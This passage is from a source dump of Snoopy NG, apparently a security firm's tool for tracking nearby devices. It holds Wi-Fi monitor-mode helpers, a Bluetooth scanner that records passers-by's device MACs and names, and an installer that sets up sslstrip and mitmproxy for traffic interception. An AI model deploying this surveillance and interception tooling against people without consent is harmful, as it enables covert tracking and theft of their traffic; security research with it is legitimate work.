| else: 33 | logging.debug("No wireless interface supporting monitor mode found") 34 | return None 35 | 36 | def disable_monitor_mode(iface=''): 37 | #Disable all monitor interfaces 38 | if not iface: 39 | for device in get_monitor_iface(): 40 | disable_monitor_mode(device) 41 | #call(['airmon-ng', 'stop', device], stdout=DN, stderr=DN) 42 | else: 43 | logging.debug("Disabling monitor mode on '%s'"%iface) 44 | call(['airmon-ng', 'stop', iface], stdout=DN, stderr=DN) 45 | 46 | def get_monitor_iface(): 47 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) 48 | iface = '' 49 | monitors = [] 50 | for line in proc.communicate()[0].split('\n'): 51 | if len(line) == 0: continue 52 | if ord(line[0]) != 32: # Doesn't start with space 53 | iface = line[:line.find(' ')] # is the interface 54 | if line.find('Mode:Monitor') != -1: 55 | monitors.append(iface) 56 | return monitors 57 | -------------------------------------------------------------------------------- /includes/run_prog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from subprocess import Popen, call, PIPE 5 | import errno 6 | from types import * 7 | import logging 8 | import sys 9 | 10 | def splitz(str): 11 | """Split a string based on space, but hold quotes""" 12 | tmp = [] 13 | st = 0 14 | i = str.find('"',st) 15 | while i > 0: 16 | tmp.extend(str[st:i-1].strip().split(" ")) 17 | j = str.find('"', i+1) 18 | if j < 1: 19 | return 20 | tmp.append(str[i+1:j]) 21 | st = j+1 22 | i = str.find('"',st) 23 | tmp.extend(str[st:].strip().split(" ")) 24 | return tmp 25 | 26 | def run_program(rcmd): 27 | """ 28 | Runs a program 'executable' with list of paramters 'executable_options'. Returns the process, or None if failed. Use: 29 | proc.poll() to check if it's running (0 = running) 30 | proc.kill() to kill the process 31 | """ 32 | 33 | logging.debug("Running command '%s'"%rcmd) 34 | cmd = splitz(rcmd) 35 | if not cmd: 36 | logging.error("Bad command '%s'" %rcmd) 37 | return 38 | executable = cmd[0] 39 | executable_options=cmd[1:] 40 | 41 | try: 42 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE) 43 | #response = proc.communicate() 44 | #response_stdout, response_stderr = response[0], response[1] 45 | except OSError, e: 46 | if e.errno == errno.ENOENT: 47 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable ) 48 | else: 49 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) ) 50 | except ValueError, e: 51 | logging.error( "Value error occured. Check your parameters." ) 52 | else: 53 | return proc 54 | 55 | if __name__ == "__main__": 56 | """Careful, main program will block""" 57 | proc = run_program(sys.argv[1]) 58 | response = proc.communicate() 59 | response_stdout, response_stderr = response[0], response[1] 60 | if proc.wait() != 0: 61 | print "Program returned with the error: \"%s\"" %(response_stderr) 62 | sys.exit(-1) 63 | else: 64 | print "Program returned successfully. First line of response was \"%s\"" %(response_stdout.split('\n')[0] ) 65 | print response_stdout 66 | -------------------------------------------------------------------------------- /includes/run_prog.py.bak: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from subprocess import Popen, call, PIPE 5 | import errno 6 | from types import * 7 | import logging 8 | import sys 9 | 10 | #TODO: Implement timeout mechansim 11 | 12 | def run_program(rcmd): 13 | """ 14 | Runs a program 'executable' with list of paramters 'executable_options'. Returns True if program ran successfully. 15 | """ 16 | #assert type(executable_options) is ListType, "executable_options should be of type list (not %s)" % type(executable_options) 17 | logging.info("Recvd command '%s'"%rcmd) 18 | cmd = rcmd.split(' ') 19 | executable = cmd[0] 20 | executable_options=cmd[1:] 21 | 22 | try: 23 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE) 24 | response = proc.communicate() 25 | response_stdout, response_stderr = response[0], response[1] 26 | except OSError, e: 27 | if e.errno == errno.ENOENT: 28 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable ) 29 | return "%s: command not found" % executable 30 | else: 31 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) ) 32 | return "An error occured when trying to run %s" % executable 33 | except ValueError, e: 34 | logging.error( "Value error occured. Check your parameters." ) 35 | return "Bad parameters" 36 | else: 37 | if proc.wait() != 0: 38 | logging.error( "Executable '%s' returned with the error: \"%s\"" %(executable,response_stderr) ) 39 | return response_stderr 40 | else: 41 | logging.debug( "Executable '%s' returned successfully. First line of response was \"%s\"" %(executable, response_stdout.split('\n')[0] )) 42 | return response_stdout 43 | 44 | if __name__ == "__main__": 45 | run_program(sys.argv[1]) 46 | -------------------------------------------------------------------------------- /includes/run_prog.py.new: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from subprocess import Popen, call, PIPE 5 | import errno 6 | from types import * 7 | import logging 8 | import sys 9 | 10 | #TODO: Implement timeout mechansim 11 | 12 | def run_program(rcmd): 13 | """ 14 | Runs a program 'executable' with list of paramters 'executable_options'. Returns the process, or None if failed. Use: 15 | proc.poll() to check if it's running (0 = running) 16 | proc.kill() to kill the process 17 | """ 18 | 19 | logging.info("Recvd command '%s'"%rcmd) 20 | cmd = rcmd.split(' ') 21 | executable = cmd[0] 22 | executable_options=cmd[1:] 23 | 24 | try: 25 | proc = Popen(([executable] + executable_options), stdout=PIPE, stderr=PIPE) 26 | #response = proc.communicate() 27 | #response_stdout, response_stderr = response[0], response[1] 28 | except OSError, e: 29 | if e.errno == errno.ENOENT: 30 | logging.error( "Unable to locate '%s' program. Is it in your path?" % executable ) 31 | else: 32 | logging.error( "O/S error occured when trying to run '%s': \"%s\"" % (executable, str(e)) ) 33 | except ValueError, e: 34 | logging.error( "Value error occured. Check your parameters." ) 35 | else: 36 | return proc 37 | 38 | if __name__ == "__main__": 39 | """Careful, main program will block""" 40 | proc = run_program(sys.argv[1]) 41 | response = proc.communicate() 42 | response_stdout, response_stderr = response[0], response[1] 43 | if proc.wait() != 0: 44 | print "Program returned with the error: \"%s\"" %(response_stderr) 45 | sys.exit(-1) 46 | else: 47 | print "Program returned successfully. First line of response was \"%s\"" %(response_stdout.split('\n')[0] ) 48 | print response_stdout 49 | -------------------------------------------------------------------------------- /includes/sakis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | import subprocess 5 | from threading import Thread 6 | import time 7 | import sys 8 | import os 9 | import logging 10 | from run_prog import run_program 11 | 12 | if os.geteuid() != 0: 13 | exit("Please run me with root privilages") 14 | 15 | DN = open(os.devnull, 'w') 16 | logging.basicConfig(format='%(message)s', level=logging.DEBUG) 17 | 18 | scriptPath=os.path.dirname(os.path.realpath(__file__)) 19 | #os.chdir(scriptPath) 20 | sakis_exec=scriptPath + "/sakis3g" 21 | 22 | class Sakis(Thread): 23 | """Uses the sakis3g binary to maintain a 3G connection. Supply APN""" 24 | def __init__(self,apn,bg = False): 25 | self.apn=apn 26 | self.dorun = True 27 | if not os.path.isfile(sakis_exec): 28 | logging.error("Error: 'sakis3g' binary is not in '%s' directory" % scriptPath) 29 | sys.exit(-1) 30 | Thread.__init__(self) 31 | self.start() 32 | 33 | if bg: 34 | logging.debug("[+] Starting backround 3G connection maintainer.") 35 | else: 36 | logging.debug("[+] Starting foreground 3G connection maintainer.") 37 | self.join() 38 | 39 | def run(self): 40 | self.maintain_connection() 41 | 42 | def maintain_connection(self): 43 | sawMessage, sawMessage2 = False, False 44 | while self.dorun: 45 | detected = self.is_plugged() 46 | while not detected and self.dorun: 47 | if not sawMessage2: 48 | logging.info("No modem detected. Will check every 5 seconds until one apears, but won't show this message again.") 49 | sawMessage2 = True 50 | time.sleep(5) 51 | detected = self.is_plugged() 52 | sawMessage2 = False 53 | if self.status() != "Connected" and detected and self.dorun: 54 | logging.info("Modem detected, but not currently online. Attempting to connect to 3G network '%s'" % self.apn) 55 | self.connect(self.apn) 56 | time.sleep(2) 57 | if self.status() == "Connected": 58 | logging.info("Successfully connected to '%s'" % self.apn) 59 | run_program("ntpdate ntp.ubuntu.com") 60 | else: 61 | logging.info("Could not connect to '%s'. Will try again in 5 seconds" % self.apn) 62 | else: 63 | if not sawMessage: 64 | logging.info("Modem is online.") 65 | run_program("ntpdate ntp.ubuntu.com") 66 | sawMessage = True 67 | time.sleep(5) 68 | 69 | def stop(self): 70 | logging.info("Stopping 3G connector. Will leave connection in its current state.") 71 | self.dorun = False 72 | 73 | @staticmethod 74 | def is_plugged(): 75 | """Check if modem is plugged in""" 76 | try: 77 | r=subprocess.call([sakis_exec, "plugged"], stdout=DN, stderr=DN) 78 | if r == 0: 79 | return True 80 | else: 81 | return False 82 | except Exception,e: 83 | logging.error(e) 84 | return False 85 | 86 | 87 | @staticmethod 88 | def status(): 89 | try: 90 | r=subprocess.call([sakis_exec, "status"], stdout=DN, stderr=DN) 91 | if r == 0: 92 | return "Connected" 93 | elif r == 6: 94 | return "Disconnected" 95 | else: 96 | return "Unknown" 97 | except Exception,e: 98 | logging.error(e) 99 | return "Error" 100 | 101 | @staticmethod 102 | def disconnect(): 103 | r=subprocess.call([sakis_exec, "disconnect"], stdout=DN, stderr=DN) 104 | 105 | @staticmethod 106 | def get_apns(): 107 | return "ToDo" 108 | 109 | @staticmethod 110 | def connect(apn): 111 | try: 112 | r=subprocess.call([sakis_exec, "connect", "APN='%s'"%apn], stdout=DN, stderr=DN) 113 | return r 114 | except Exception,e: 115 | logging.error(e) 116 | return -1 117 | 118 | def usage(): 119 | print "Usage:" 120 | print "\t%s "%__file__ 121 | print "\te.g. %s orange.fr"%__file__ 122 | 123 | if __name__ == "__main__": 124 | if len(sys.argv) < 2: 125 | usage() 126 | sys.exit(-1) 127 | f=None 128 | try: 129 | f=Sakis(sys.argv[1], False) 130 | except KeyboardInterrupt: 131 | logging.info("Caught Ctrl+C. Shutting down") 132 | f.stop() 133 | -------------------------------------------------------------------------------- /includes/sakis3g: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/includes/sakis3g -------------------------------------------------------------------------------- /includes/system_info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Query global machine state, as well as 'very busy' PIDs 3 | # glenn@sensepost.com 4 | import psutil 5 | import time 6 | import datetime 7 | import logging 8 | 9 | cpu_threshold = 30 # pid using more than x% of the CPU 10 | mem_threshold = 30 # pid using more than y% of memory 11 | network_interface = 'ppp0' 12 | 13 | def query_system_status(): 14 | """Query global mem, CPU, disk, and network (if present)""" 15 | uptime = int(time.time() - psutil.BOOT_TIME) 16 | uptime = str(datetime.timedelta(seconds=uptime)) 17 | try: 18 | used_mem = psutil.virtmem_usage().percent 19 | used_cpu = psutil.cpu_percent(percpu=False) #N.B Only looking at one CPU 20 | used_disk = psutil.disk_usage('/').percent 21 | total_network = psutil.network_io_counters(pernic=True) 22 | network_sent,network_rcvd=-1,-1 23 | if network_interface in total_network: 24 | network_sent = round(total_network[network_interface].bytes_sent/1024.0/1024.0,2) 25 | network_rcvd = round(total_network[network_interface].bytes_recv/1024.0/1024.0,2) 26 | except psutil.AccessDenied: 27 | loggging.error("Access denied when trying to query PID %d" %p) 28 | return None 29 | return {'used_mem':used_mem, 'used_cpu':used_cpu, 'used_disk':used_disk, 'network_sent':network_sent, 'network_rcvd':network_rcvd, 'uptime':uptime} 30 | 31 | def fetch_busy_processes(): 32 | """Query all PIDs for memory and CPU usage.""" 33 | now = int(time.time()) 34 | busy_pids = [] 35 | # 36 | for p in psutil.get_pid_list(): 37 | try: 38 | pid = psutil.Process(p) 39 | p_cpu = pid.get_cpu_percent() 40 | p_mem = pid.get_memory_percent() 41 | p_name = pid.name 42 | # logging.debug( "Name: %s, CPU: %s, MEM: %s" %(p_name, p_cpu, p_mem)) 43 | if p_cpu >= cpu_threshold or p_mem >= mem_threshold: 44 | busy_pid = {'name': p_name, 'pid':p, 'cpu' : p_cpu, 'mem' : p_mem} 45 | busy_pids.append( busy_pid ) 46 | except psutil.NoSuchProcess: 47 | pass 48 | except psutil.AccessDenied: 49 | loggging.error("Access denied when trying to query PID %d" %p) 50 | except psutil.TimeoutExpired: 51 | logging.error("Timed out when trying to query PID %d" %p) 52 | return busy_pids 53 | 54 | if __name__ == "__main__": 55 | from pprint import pprint as pp 56 | print "Global stats:" 57 | pp(query_system_status()) 58 | print "Very busy processes:" 59 | pp(fetch_busy_processes()) 60 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Basic installation script for Snoopy NG requirements 3 | # glenn@sensepost.com // @glennzw 4 | # Todo: Make this an egg. 5 | set -e 6 | 7 | # In case this is the seconds time user runs setup, remove prior symlinks: 8 | rm -f /usr/bin/sslstrip_snoopy 9 | rm -f /usr/bin/snoopy 10 | rm -f /usr/bin/snoopy_auth 11 | rm -f /etc/transforms 12 | 13 | apt-get install ntpdate --force-yes --yes 14 | #if ps aux | grep ntp | grep -qv grep; then 15 | if [ -f /etc/init.d/ntp ]; then 16 | /etc/init.d/ntp stop 17 | else 18 | # Needed for Kali Linux build on Raspberry Pi 19 | apt-get install ntp 20 | /etc/init.d/ntp stop 21 | fi 22 | echo "[+] Setting time with ntp" 23 | ntpdate ntp.ubuntu.com 24 | /etc/init.d/ntp start 25 | 26 | echo "[+] Setting timzeone..." 27 | echo "Etc/UTC" > /etc/timezone 28 | dpkg-reconfigure -f noninteractive tzdata 29 | echo "[+] Installing sakis3g..." 30 | cp ./includes/sakis3g /usr/local/bin 31 | 32 | echo "[+] Updating repository..." 33 | apt-get update 34 | 35 | # Packages 36 | echo "[+] Installing required packages..." 37 | apt-get install --force-yes --yes python-setuptools autossh python-psutil python2.7-dev libpcap0.8-dev ppp tcpdump python-serial sqlite3 python-requests iw build-essential python-bluez python-flask python-gps python-dateutil python-dev libxml2-dev libxslt-dev pyrit mitmproxy 38 | 39 | # Python packages 40 | 41 | easy_install pip 42 | easy_install smspdu 43 | 44 | pip install sqlalchemy==0.7.4 45 | pip uninstall requests -y 46 | pip install -Iv https://pypi.python.org/packages/source/r/requests/requests-0.14.2.tar.gz #Wigle API built on old version 47 | pip install httplib2 48 | pip install BeautifulSoup 49 | pip install publicsuffix 50 | #pip install mitmproxy 51 | pip install pyinotify 52 | pip install netifaces 53 | pip install dnslib 54 | 55 | #Install SP sslstrip 56 | cp -r ./setup/sslstripSnoopy/ /usr/share/ 57 | ln -s /usr/share/sslstripSnoopy/sslstrip.py /usr/bin/sslstrip_snoopy 58 | 59 | # Download & Installs 60 | echo "[+] Installing pyserial 2.6" 61 | pip install https://pypi.python.org/packages/source/p/pyserial/pyserial-2.6.tar.gz 62 | 63 | echo "[+] Downloading pylibpcap..." 64 | pip install https://sourceforge.net/projects/pylibpcap/files/latest/download?source=files#egg=pylibpcap 65 | 66 | echo "[+] Downloading dpkt..." 67 | pip install https://dpkt.googlecode.com/files/dpkt-1.8.tar.gz 68 | 69 | echo "[+] Installing patched version of scapy..." 70 | pip install ./setup/scapy-latest-snoopy_patch.tar.gz 71 | 72 | # Only run this on your client, not server: 73 | #read -r -p "[ ] Do you want to download, compile, and install aircrack? [y/n] " response 74 | #if [[ $response =~ ^([yY][eE][sS]|[yY])$ ]] 75 | #then 76 | # echo "[+] Downloading aircrack-ng..." 77 | # wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz 78 | # tar xzf aircrack-ng-1.2-beta1.tar.gz 79 | # cd aircrack-ng-1.2-beta1 80 | # make 81 | # echo "[-] Installing aircrack-ng" 82 | # make install 83 | # cd .. 84 | # rm -rf aircrack-ng-1.2-beta1* 85 | #fi 86 | 87 | echo "[+] Creating symlinks to this folder for snoopy.py." 88 | 89 | echo "sqlite:///`pwd`/snoopy.db" > ./transforms/db_path.conf 90 | 91 | ln -s `pwd`/transforms /etc/transforms 92 | ln -s `pwd`/snoopy.py /usr/bin/snoopy 93 | ln -s `pwd`/includes/auth_handler.py /usr/bin/snoopy_auth 94 | chmod +x /usr/bin/snoopy 95 | chmod +x /usr/bin/snoopy_auth 96 | chmod +x /usr/bin/sslstrip_snoopy 97 | 98 | echo "[+] Done. Try run 'snoopy' or 'snoopy_auth'" 99 | echo "[I] Ensure you set your ./transforms/db_path.conf path correctly when using Maltego" 100 | -------------------------------------------------------------------------------- /plugins/ComingSoon.txt: -------------------------------------------------------------------------------- 1 | # Email me if you want to help. I'm working on these: 2 | 3 | GSM 4 | NFC 5 | WPA_handshake 6 | trilaterator 7 | remoteCommand 8 | MotionSensor 9 | Camera 10 | Thermal 11 | dataServer (d3.js) 12 | OpenCV 13 | planeTracker (SDR) 14 | [redacted] 15 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/plugins/__init__.py -------------------------------------------------------------------------------- /plugins/blutooth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | import logging 6 | from sqlalchemy import MetaData, Table, Column, String, Unicode, Integer, DateTime 7 | from threading import Thread 8 | import os 9 | from includes.fonts import * 10 | from includes.prox import prox 11 | from includes.fifoDict import fifoDict 12 | from includes.common import snoop_hash, printFreq 13 | import datetime 14 | logging.basicConfig(level=logging.DEBUG, 15 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 16 | datefmt='%Y-%m-%d %H:%M:%S') 17 | 18 | class Snoop(Thread): 19 | def __init__(self, **kwargs): 20 | Thread.__init__(self) 21 | self.RUN = True 22 | self.verb = kwargs.get('verbose', 0) 23 | self.proxWindow = kwargs.get('proxWindow', 300) 24 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 25 | 26 | self.prox = prox(proxWindow=self.proxWindow, identName="mac", verb=0, callerName=self.fname) 27 | self.vendors = fifoDict(names=("mac", "vendor", "vendorLong")) 28 | self.btDetails = fifoDict(names=("mac", "name", "classType", "manufac", "lmpVer")) 29 | self.lastPrintUpdate = 0 30 | 31 | def run(self): 32 | from includes.bluScan import scan 33 | reported = False 34 | while self.RUN: 35 | logging.debug("Scanning for bluetooth devices") 36 | scanResults = scan() 37 | if scanResults: 38 | for result in scanResults: 39 | mac = result['mac'] 40 | name = result['name'].decode('utf-8') 41 | vendor,vendorLong = result['vendor'], result['vendorLong'] 42 | classType = result['classType'] 43 | manufac = result['manufac'] 44 | lmpVer = result['lmpVer'] 45 | 46 | self.prox.pulse(mac) 47 | self.vendors.add((mac, vendor, vendorLong)) 48 | self.btDetails.add((mac,name,classType,manufac,lmpVer)) 49 | 50 | if self.verb > 1: 51 | logging.info("Plugin %s%s%s watching device '%s%s%s' (%s%s%s) with name '%s%s%s'." % (GR,self.fname,G,GR,mac,G,GR,vendorLong,G,GR,name,G)) 52 | 53 | tmptimer=0 54 | while self.RUN and tmptimer < 5: 55 | time.sleep(0.1) 56 | tmptimer += 0.1 57 | 58 | def stop(self): 59 | logging.info("Shutting down Bluetooth scanner, may take 30 seconds...") 60 | self.RUN = False 61 | 62 | def is_ready(self): 63 | return True 64 | 65 | @staticmethod 66 | def get_parameter_list(): 67 | info = {"info" : "Discovers Bluetooth devices.", 68 | "parameter_list" : None 69 | } 70 | return info 71 | 72 | def get_data(self): 73 | """Ensure data is returned in the form of a SQL row.""" 74 | proxSess = self.prox.getProxs() 75 | btList = self.btDetails.getNew() 76 | vendorsList = self.vendors.getNew() 77 | 78 | if proxSess and self.verb > 0 and abs(os.times()[4] - self.lastPrintUpdate) > printFreq: 79 | logging.info("Sub-plugin %s%s%s currently observing %s%d%s client devices" % (GR,self.fname,G,GR,self.prox.getNumProxs(),G)) 80 | self.lastPrintUpdate = os.times()[4] 81 | 82 | return [("bluetooth_obs", proxSess), ("vendors", vendorsList), ("bluetooth_details", btList)] 83 | 84 | 85 | @staticmethod 86 | def get_tables(): 87 | 88 | table = Table('bluetooth_obs', MetaData(), 89 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 90 | Column('first_obs', DateTime, primary_key=True, autoincrement=False), 91 | Column('last_obs', DateTime), 92 | Column('sunc', Integer, default=0), 93 | ) 94 | 95 | table2 = Table('bluetooth_details', MetaData(), 96 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 97 | Column('name', String(64)), 98 | Column('classType', String(24)), 99 | Column('manufac', String(64)), 100 | Column('lmpVer', String(12))) 101 | 102 | table3 = Table('vendors', MetaData(), 103 | Column('mac', String(64), primary_key=True), #Len 64 for sha256 104 | Column('vendor', String(20) ), 105 | Column('vendorLong', String(50) ), 106 | Column('sunc', Integer, default=0)) 107 | 108 | 109 | return [table, table2, table3] 110 | 111 | 112 | if __name__=="__main__": 113 | Snoop().start() 114 | -------------------------------------------------------------------------------- /plugins/example.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required 6 | from threading import Thread 7 | logging.basicConfig(level=logging.DEBUG, 8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 9 | datefmt='%Y-%m-%d %H:%M:%S') 10 | import time 11 | from collections import deque 12 | from random import randint 13 | import datetime 14 | from threading import Thread 15 | import os 16 | from includes.fonts import * 17 | 18 | class Snoop(Thread): 19 | """This is an example plugin.""" 20 | def __init__(self, **kwargs): 21 | Thread.__init__(self) 22 | self.RUN = True 23 | self.data_store = deque(maxlen=1000) 24 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 25 | # Process arguments passed to module 26 | self.var01 = kwargs.get('var01','default01') 27 | self.var02 = kwargs.get('var02','default02') 28 | self.verb = kwargs.get('verbose', 0) 29 | 30 | self.db = kwargs.get('dbms',None) 31 | if self.db: 32 | self.metadata = MetaData(self.db) #If you need to access the db object. N.B Use for *READ* only. 33 | self.metadata.reflect() 34 | 35 | def run(self): 36 | while self.RUN: 37 | new_value = randint(1,52) #Pick a card, any card 38 | now = datetime.datetime.now() 39 | self.data_store.append({'var01':self.var01, 'var02':self.var02, 'time':now, 'rand_num':new_value, 'sunc':0}) 40 | logging.debug("Added %d" % new_value) 41 | if self.verb > 0: 42 | logging.info("Plugin %s%s%s created new random number: %s%s%s" % (GR,self.fname,G,GR,new_value,G)) 43 | time.sleep(2) 44 | 45 | def is_ready(self): 46 | #Perform any functions that must complete before plugin runs 47 | return True 48 | 49 | def stop(self): 50 | self.RUN = False 51 | 52 | @staticmethod 53 | def get_parameter_list(): 54 | info = {"info" : "This is a test plugin. Testing 1,2,3. Can you hear me?", 55 | "parameter_list" : [ ("x=","Test parameter one."), 56 | ("v=[True|False]","Test parameter two.")] 57 | } 58 | return info 59 | 60 | 61 | def get_data(self): 62 | """Ensure data is returned in the form of a SQL row.""" 63 | #e.g of return data - [("tbl_name", [{'var01':99, 'var02':199}] 64 | rtnData=[] 65 | while self.data_store: 66 | rtnData.append(self.data_store.popleft()) 67 | if rtnData: 68 | return [("example_table", rtnData)] 69 | else: 70 | return [] 71 | 72 | @staticmethod 73 | def get_tables(): 74 | """This function should return a list of table(s)""" 75 | 76 | table = Table('example_table',MetaData(), 77 | Column('time', DateTime, default='' ), 78 | Column('rand_num', Integer, default='' ), 79 | Column('var01', String(length=20)), 80 | Column('var02', String(length=20)), 81 | Column('sunc', Integer, default=0)) #Omit this if you don't want to sync 82 | return [table] 83 | 84 | if __name__ == "__main__": 85 | Snoop().start() 86 | -------------------------------------------------------------------------------- /plugins/heartbeat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import sqlalchemy as sa 6 | from threading import Thread 7 | import time 8 | import os 9 | from includes.fonts import * 10 | #logging.basicConfig(level=logging.DEBUG) 11 | 12 | class Snoop(Thread): 13 | def __init__(self, **kwargs): 14 | Thread.__init__(self) 15 | self.RUN = True 16 | self.last_heartbeat = 0 17 | self.heartbeat_freq = 60 # Beat every n seconds 18 | self.verb = kwargs.get('verbose',0) 19 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 20 | 21 | def run(self): 22 | while self.RUN: 23 | time.sleep(2) #Nothing to do here 24 | def is_ready(self): 25 | """Indicates the module is ready, and loading of next module may commence.""" 26 | return True 27 | 28 | def stop(self): 29 | """Perform operations required to stop module and return""" 30 | self.RUN = False 31 | 32 | @staticmethod 33 | def get_parameter_list(): 34 | """List of paramters that can be passed to the module, for user help output.""" 35 | info = {"info" : "Returns a hearbeat every 60 seconds.", 36 | "parameter_list" : None 37 | } 38 | return info 39 | 40 | def get_data(self): 41 | """Ensure data is returned in the form of a SQL row.""" 42 | now = int(os.times()[4]) 43 | if abs(now - self.last_heartbeat) > self.heartbeat_freq: 44 | timestamp = int(time.time()) 45 | #logging.debug("Heartbeat - %d" % timestamp) 46 | self.last_heartbeat = now 47 | if self.verb > 0: 48 | logging.info("Plugin %s%s%s had a beat %s%s❤ %s%s" % (GR,self.fname,G,R,F,NF,G)) 49 | return [('heartbeat',[{'timestamp':timestamp}])] 50 | else: 51 | return [] 52 | 53 | @staticmethod 54 | def get_tables(): 55 | """Return the table definitions for this module.""" 56 | # Make sure to define your table here. Ensure you have a 'sunc' column: 57 | metadata = sa.MetaData() 58 | table = sa.Table('heartbeat',metadata, 59 | #sa.Column('drone', sa.String(length=20)), 60 | sa.Column('timestamp', sa.Integer, primary_key=True, autoincrement=False), 61 | sa.Column('sunc', sa.Integer, default=0)) 62 | return [table] 63 | 64 | 65 | if __name__ == "__main__": 66 | Snoop().start() 67 | -------------------------------------------------------------------------------- /plugins/local_sync.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | import sqlalchemy as sa 6 | from threading import Thread 7 | import time 8 | import os 9 | from collections import deque 10 | import requests 11 | import json 12 | from includes.jsonify import json_list_to_objs 13 | import base64 14 | from includes.fonts import * 15 | 16 | #logging.basicConfig(level=logging.DEBUG) 17 | 18 | class Snoop(Thread): 19 | def __init__(self, **kwargs): 20 | Thread.__init__(self) 21 | self.server = kwargs.get('server_url') 22 | self.sync_freq = int(kwargs.get('sync_freq', 60)) 23 | self.drone = kwargs.get('drone') 24 | self.key = kwargs.get('key') 25 | self.RUN = True 26 | self.data_store = deque() 27 | self.last_sync = 0 28 | 29 | self.verb = kwargs.get('verbose', 0) 30 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 31 | 32 | if not self.server: 33 | logging.error("Please specify a remote server.") 34 | exit(-1) 35 | 36 | if not self.drone or not self.key: 37 | logging.error("Please supply drone (--drone) and key (--key) in order to fetch data from the remote server.") 38 | exit(-1) 39 | 40 | def run(self): 41 | logging.info("Local Sync plugin will pull remote database replica every %d seconds" % self.sync_freq) 42 | while self.RUN: 43 | time.sleep(5) 44 | 45 | def is_ready(self): 46 | """Indicates the module is ready, and loading of next module may commence.""" 47 | return True 48 | 49 | def stop(self): 50 | """Perform operations required to stop module and return""" 51 | self.RUN = False 52 | 53 | @staticmethod 54 | def get_parameter_list(): 55 | """List of paramters that can be passed to the module, for user help output.""" 56 | info = {"info" : "Pull database from remote server and sync it into the local one. Make sure to specify valid --drone and --key options for the remote server.", 57 | "parameter_list" : [ 58 | ("server_url=","URL of server to pull data from. Server plugin should be running on that machine. (e.g. 'http://1.1.1.1:9001/'"), 59 | ("sync_freq=", "Frequency to pull a full replica of remote database in seconds") 60 | ] 61 | } 62 | return info 63 | 64 | def get_data(self): 65 | base64string = base64.encodestring('%s:%s' % (self.drone, self.key)).replace('\n', '') 66 | headers = {'content-type': 'application/json', 67 | 'Z-Auth': self.key, 'Z-Drone': self.drone, 'Authorization':'Basic %s' % base64string} 68 | rtnData = [] 69 | now = int(os.times()[4]) 70 | if abs(now - self.last_sync) > self.sync_freq: 71 | try: 72 | r = requests.get(self.server+"pull/", headers=headers) 73 | except Exception,e: 74 | logging.error("Error fetching remote data. Exception was '%s'" % e) 75 | else: 76 | if r.status_code == 200: 77 | data = json_list_to_objs(r.text) 78 | data_len = 0 79 | for row in data: 80 | rtnData.append( (row['table'], row['data']) ) 81 | data_len += len(row['data']) 82 | if self.verb > 0: 83 | logging.info("Plugin %s%s%s pulled %s%d%s records from remote server." % (GR,self.fname,G,GR,data_len,G)) 84 | else: 85 | logging.error("Error fetching remote data. Response code was %d"%r.status_code) 86 | self.last_sync = now #Success or not, we'll wait another n seconds 87 | time.sleep(0.5) 88 | return rtnData 89 | 90 | @staticmethod 91 | def get_tables(): 92 | """Return the table definitions for this module.""" 93 | return [] 94 | 95 | if __name__ == "__main__": 96 | Snoop().start() 97 | -------------------------------------------------------------------------------- /plugins/mitmproxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import logging 5 | from sqlalchemy import Float, DateTime, String, Integer, Table, MetaData, Column #As required 6 | from threading import Thread 7 | logging.basicConfig(level=logging.DEBUG, 8 | format='%(asctime)s %(levelname)s %(filename)s: %(message)s', 9 | datefmt='%Y-%m-%d %H:%M:%S') 10 | import time 11 | from collections import deque 12 | from random import randint 13 | import datetime 14 | from threading import Thread 15 | import os 16 | from includes.fonts import * 17 | from includes.mitm import * 18 | 19 | 20 | class Snoop(Thread): 21 | """This plugin starts a proxy server.""" 22 | def __init__(self, **kwargs): 23 | Thread.__init__(self) 24 | self.data_store = deque(maxlen=1000) 25 | 26 | # Process arguments passed to module 27 | self.port = int(kwargs.get('port', 8080)) 28 | self.transparent = kwargs.get('transparent', 'false').lower() 29 | self.verb = kwargs.get('verbose', 0) 30 | self.fname = os.path.splitext(os.path.basename(__file__))[0] 31 | 32 | config = proxy.ProxyConfig( 33 | cacert = 